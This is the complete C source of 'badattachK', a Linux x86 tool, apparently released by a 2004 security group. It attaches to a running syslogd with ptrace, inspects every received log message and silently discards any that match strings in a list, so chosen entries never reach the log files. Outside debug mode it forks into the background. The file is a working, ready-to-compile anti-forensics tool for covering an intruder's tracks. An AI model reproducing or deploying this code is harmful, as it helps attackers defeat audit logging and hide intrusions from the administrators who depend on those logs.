/*
 * badattachK version 0.3r2 for linux x86
 * by Matias Sedalo <s0t4ipv6@shellcode.com.ar>
 * 
 * MAN in THE MIDDLE of syslogd
 ******************************
 * badattachK analyze the messages logs sent from any application to syslog daemon, 
 * it verifies if any strings into the list (string.list) is in the message; in this case, 
 * badattach cleans the buffer and inform to syslogd that no message was received.
 * 
 * This happens in this way:
 * 
 * The select one awakes with a message remote(recvfrom) or local(recv):
 *
 * /---------\ -> recv() SOCK_UNIX......\
 * | select  |                           > eax == 0
 * \---------/ -> recvfrom() SOCK_INET../ 
 *
 * The return value of any of these two functions is the only test that a message was received,
 * therefore when changing this value, the syslogd understands that any message has not been received.
 * Then badattachK will intercept the remote(syslogd -r) and local messages.
 *
 * badattachK will finish when finding the string declared in the CANARY variable, 
 * for default "SH3llC0d3" is defined.
 *
 * Compile for debuggers 
 ************************
 * gcc -Wall -D__DEBUG -o badattachK badattachK.c
 * 
 * Run
 *****
 * # ./badattachK `ps -fe | grep syslogd | awk '{print $2}'`
 *
 * TODO
 * - Remove the argument and search the proccess of syslogd.
 * - Reconnect when the service of syslogd is reinitiated.
 * - SIGNALS.
 * 
 *
 * NOTE: Best viewed with tabstop=4
 *
 * (c)1999-2004 Shellcode Research
 * http://www.shellcode.com.ar
 *
 */

#include <stdio.h>			
#include <stdlib.h>			// atoi() calloc()
#include <string.h>			//
#include <unistd.h>			// getuid()

#include <sys/ptrace.h>		// sys_ptrace()
#include <sys/user.h>		// user_regs_struct
#include <stdarg.h>			// va_list

#include <sys/types.h>		// sys_waitpid()
#include <sys/wait.h>		//
#include <asm/unistd.h>		// syscalls
#include <ctype.h>			// isascii()
#include <signal.h>

/* from /usr/include/linux/net.h*/
#define SYS_RECV        10      /* sys_recv(2)          */
#define SYS_SENDTO      11      /* sys_sendto(2)        */
#define SYS_RECVFROM    12      /* sys_recvfrom(2)      */
/* 								*/

#define NAME	"badattachK"
#define VERSION "0.3r2"
#define AUTHOR  "Matias Sedalo <s0t4ipv6@shellcode.com.ar>"

#define CANARY		"SH3llC0d3"
#define FILE_LIST	"string.list"
#define MAXLINE		512

#define ASCIIZ(c)	( (iscntrl(c) == 0) ? c : 0x2e )

/* mensajes de error y salida */
void errorf(const char *fmt, ...)
{
	va_list	ap;
	va_start(ap, fmt);
#ifdef __DEBUG
	vfprintf(stdout, fmt, ap);
#endif
	va_end(ap);
	exit(-2);
}


long peek(pid_t ppid, void *preg) 
{
	return (ptrace(PTRACE_PEEKDATA, ppid, preg, 0));
}


long poke(pid_t ppid, void *preg, void *data)
{
	return (ptrace(PTRACE_POKEDATA, ppid, preg, data));
}


/* BuffZero completa con 'count' zeros el buffer representado
 * por la direccion en reg_buff */
void BuffZero(pid_t p, long count, u_long reg_buff)
{
	int i;
	u_long dat=0;
	
	for (i=0; i<count; i++)
		poke(p, (void *)reg_buff, (void *)dat);
}


/* NO TIENE USO, use esta funcion solo para debugging */
void Debugging(pid_t p, long count, u_long reg_buff)
{
        char d[4];
        u_long s;
        int i;

        printf("\t* Size Room: %li [0x%lx]\n", count, count);
        for (i=0; i<count; i+=4)
        {
                s = peek(p, (void *)(reg_buff+i));
                memcpy(&d, &s, 4);
                printf("\t* 0x%08lx [ %08lx ]", reg_buff+i, s);
				printf(" %c%c%c%c\n", ASCIIZ(d[0]), ASCIIZ(d[1]), ASCIIZ(d[2]), ASCIIZ(d[3]));
        }
}


/* regcpy copia n bytes de la direccion de memoria 
 * src al puntero dest. */
void regcpy(pid_t m, char *dest, u_long src, size_t n)
{
	int i;
	u_long s;

	for (i=0; i<n; i+=4) // i++ segfault en el ultimo fclose ;-) !
	{
		s = peek(m, (void *)(src+i));
		memcpy(dest+i, &s, 4);
	}	
}


/* SearchStr devuelve la cantidad de veces que se encontro
 * el string(reg_buff) en el buffer devuelto por syslogd:recv()
 * o syslogd:recvfrom(), en caso de encontrar el CANARY devuelve -1.
 * "p" es el proceso del syslogd
 * "count" es la cantidad de bytes recibidos por recv()
 * "reg_buff" es la direccion donde comienza el buffer (ecx+4) 
 * "fdlist" es el filedescriptor del archivo string.list */
int SearchStr(pid_t p, long count, u_long reg_buff, FILE *fdlist)
{
	char *d;
	char f[MAXLINE];
	int i, c=0;
	
	if ((d = calloc(count + 1, sizeof(char))) == NULL)
		errorf("Can't allocate %d bytes of memory\n", count+1);

	/* Copiamos el log de "count" bytes en char *d */
	regcpy(p, d, reg_buff, count);

	/* los hosts que loguean remotamente en el server agregan un \n
	 * al final de la cadena, lo sacamos simplemente para que en 
 	 * modo debug no joda */
	if ( d[strlen(d)-1] == '\n' ) d[strlen(d)-1] = '\0';

	(void )fseek(fdlist, 0L, SEEK_SET);

	while (fgets(f, MAXLINE-1, fdlist) && (c != -1))
	{
		f[strlen(f)-1]='\0';
		for (i=0; i<count; i++)
			if ( strncmp(d+i, CANARY, strlen(CANARY)) == 0 )
			{
#ifdef __DEBUG
				printf("\t- CANARY found\n");
#endif
				c = -1;
				break;
			} else if ( strncmp(d+i, f, strlen(f)) == 0 )
			{
#ifdef __DEBUG
				printf("\t- Found '%s' at 0x%08lx\n", d+i, reg_buff+i);
#endif
				c++;
			} 
	}
	/* al dejar eax=0 las instruccion siguientes a syslogd:recv()
  	 * y recvfrom() entienden que no se ha recibido ningun mensaje.
	 * Por eso quizas puede descartarse la idea de limpiar el buffer
	 * donde fue encontrado el string, pero podria ser util */
	if ( c > 0 ) BuffZero(p, count, reg_buff);

	free(d);
	return c;
}


void traceloop(pid_t pid, FILE *fdfile) 
{
	struct	user_regs_struct regs;
	int RECVFROM, BOOL=0;
	
    while (BOOL != -1) 
	{
		RECVFROM = 0;
        if ( (ptrace(PTRACE_SYSCALL, pid, 0, 0)) != 0) 
            errorf("PTRACE_SYSCALL on pid %d\n", pid);

		waitpid(pid, NULL, 0);

        if ( (ptrace(PTRACE_GETREGS, pid, 0, &regs)) != 0) 
            errorf("PTRACE_GETREGS on pid %d\n", pid);

		switch (regs.orig_eax)	// syscall 
		{
			/* el syslog utiliza SOCK_UNIX sobre /dev/log para recibir los evento
			 * vamos a tener el siguiente flujo en el syslog:
			 * 1.select() <- una interrupcion sobre cualquier SOCK_*
			 * 2.recv() o recvfrom() <- recibimos el mensaje via SOCK_*
			 * 	- Nos acoplamos para buscar el string en el buffer de recv() o recvfrom()
			 * 	- En eax tengo la cantidad de bytes recibidos.
			 * ...
			 * 3.sys_writev() <- Escribir los logs solo si eax > 0 
			*/
			case __NR_socketcall:
#ifdef __DEBUG
				printf("\n + SYS_socketcall:");
#endif
				/* ebx definira cual de las clases utilizara */
				switch (regs.ebx)
				{
				case SYS_RECVFROM: 
					RECVFROM = 1;
				case SYS_RECV:
                	if ( (ptrace(PTRACE_SYSCALL, pid, 0, 0)) != 0) 
            			errorf("PTRACE_SYSCALL on pid %d\n", pid);

					waitpid(pid, NULL, 0);

                	if ( (ptrace(PTRACE_GETREGS, pid, 0, &regs)) != 0)
            			errorf("PTRACE_GETREGS on pid %d\n", pid);
#ifdef __DEBUG
					/* Segun parece algunos syslog trabajan internamente diferente segun la version
					 * del kernel y otros parches, lo que se supone no deberia de trabajar diferente
					 * son las funciones recv() y recvfrom(). Por lo tanto en ecx estara la direccion
					 * de memoria que completara los argumentos de la funcion */
					if ( RECVFROM == 1 )
					{
						printf("recvfrom(%li, 0x%08lx, %li, %li, 0x%08lx, 0x%08lx",
											peek(pid, (void *)(regs.ecx)),		// socket Filedescriptor (int)
											peek(pid, (void *)(regs.ecx+4)),	// buffer pointer (void *)
											peek(pid, (void *)(regs.ecx+8)),	// lenght (size_t)
											peek(pid, (void *)(regs.ecx+12)),	// flags (int)
											peek(pid, (void *)(regs.ecx+16)),	// struct sockaddr *
											peek(pid, (void *)(regs.ecx+20)));	// socklen_t *
					} else {
						printf("recv(%li, 0x%08lx, %li, %li",
											peek(pid, (void *)(regs.ecx)),		// socket Filedescriptor (int)
											peek(pid, (void *)(regs.ecx+4)),	// buffer pointer (void *)
											peek(pid, (void *)(regs.ecx+8)),	// lenght (size_t)
											peek(pid, (void *)(regs.ecx+12)));	// flags (int)
					}
					printf(") == %li bytes\n", regs.eax);
					/* Descomentar esta linea para mas debugging */
					// (void )Debugging(pid, regs.eax, peek(pid, (void *)(regs.ecx+4)));
#endif
					/* evitemos kilombo */
					if ( peek(pid, (void *)(regs.ecx+4)) != 0 && regs.eax > 0 ) 
					/* Buscamos la lista de strings */
						if ( (BOOL = SearchStr(pid, regs.eax, peek(pid, (void *)(regs.ecx+4)), fdfile)) > 0 || BOOL == -1 )
						{
							/* al dejar eax en 0 las intrucciones siguientes al recv() o recvfrom()
							 * interpretan que no se ha recibido ningun dato, por lo tanto
							 * el syslogd no intentara hacer un writev() a los archivos de log */	
							regs.eax = 0;
#ifdef __DEBUG
							printf("\t- Discarding log line received\n");
#endif
							if ( (ptrace(PTRACE_SETREGS, pid, 0, &regs)) != 0)
								errorf("PTRACE_SETREGS on pid %d\n", pid);
						}
					break;
					default:
						printf("what type??");
						break;
				}
				break;

			case __NR_writev:
				/* Esto es solo a modo informativo para que pueda verse 
				 * el comportamiento normal de escritura de eventos */
#ifdef __DEBUG
				printf(" + SYS_writev: writev(%li, 0x%08lx, %li)", 
											regs.ebx, 	// Filedescriptor (int)
											regs.ecx, 	// const struct iovec *vector
											regs.edx);	// count (int)
#endif
        		if ( (ptrace(PTRACE_SYSCALL, pid, 0, 0)) != 0) 
					errorf("PTRACE_SYSCALL on pid %d\n", pid);

				waitpid(pid, NULL, 0);

   		     	if ( (ptrace(PTRACE_GETREGS, pid, 0, &regs)) != 0) 
					errorf("PTRACE_GETREGS on pid %d\n", pid);
#ifdef __DEBUG
				printf(" == %li bytes\n",regs.eax);
#endif
				break;

			default:
				// nothing to do
				break;
		}
	} 
}


int main(int argc, char *argv[]) 
{
	pid_t	syslog;
	int		dad, p;
	FILE	*fd;

	if (argc < 2) 
	{
		printf("(c)2004 %s Version %s by %s\n", NAME, VERSION, AUTHOR);
		printf("Use: %s <pid of syslog>\n", argv[0]);
		exit(1);
	}
	else // TODO: Eliminar el argumento y rastrear el proceso de syslog
		//	acoplandose y reacoplandose cuando sea reiniciado.
		syslog = atoi(argv[1]); 

	if ( getuid() != 0 )
	{
		printf("You must be root to execute this tool\n");
		exit(-2);
	}
#ifndef __DEBUG
	if ( (dad = fork()) == -1 ) errorf("Can't fork\n");
	if ( dad == 0 ) 
	{
#endif
		/* nos acoplamos al proceso de syslog */
		if ( (p = ptrace(PTRACE_ATTACH, syslog, 0, 0)) != 0) 
  			errorf("PTRACH_ATTACH on pid %d failed\n", syslog);
#ifdef __DEBUG
		printf("* syslogd on pid %d atached\n", syslog);
#endif	
		if ( (fd = fopen(FILE_LIST, "r")) == NULL )
			errorf("Can't open %s file\n", FILE_LIST);

		(void)traceloop(syslog, fd);
		/* nos vamos */
		if ( (p = ptrace(PTRACE_DETACH, syslog, 0, 0)) != 0) 
  			errorf("PTRACH_DETACH on pid %d failed\n", syslog);
		fclose(fd);
#ifdef __DEBUG
		printf("\n* detach pid\n");
		printf(" * Thankz to enjoy this tool*\n");
#else
	}
#endif
	exit(0);
}
//_EOF_

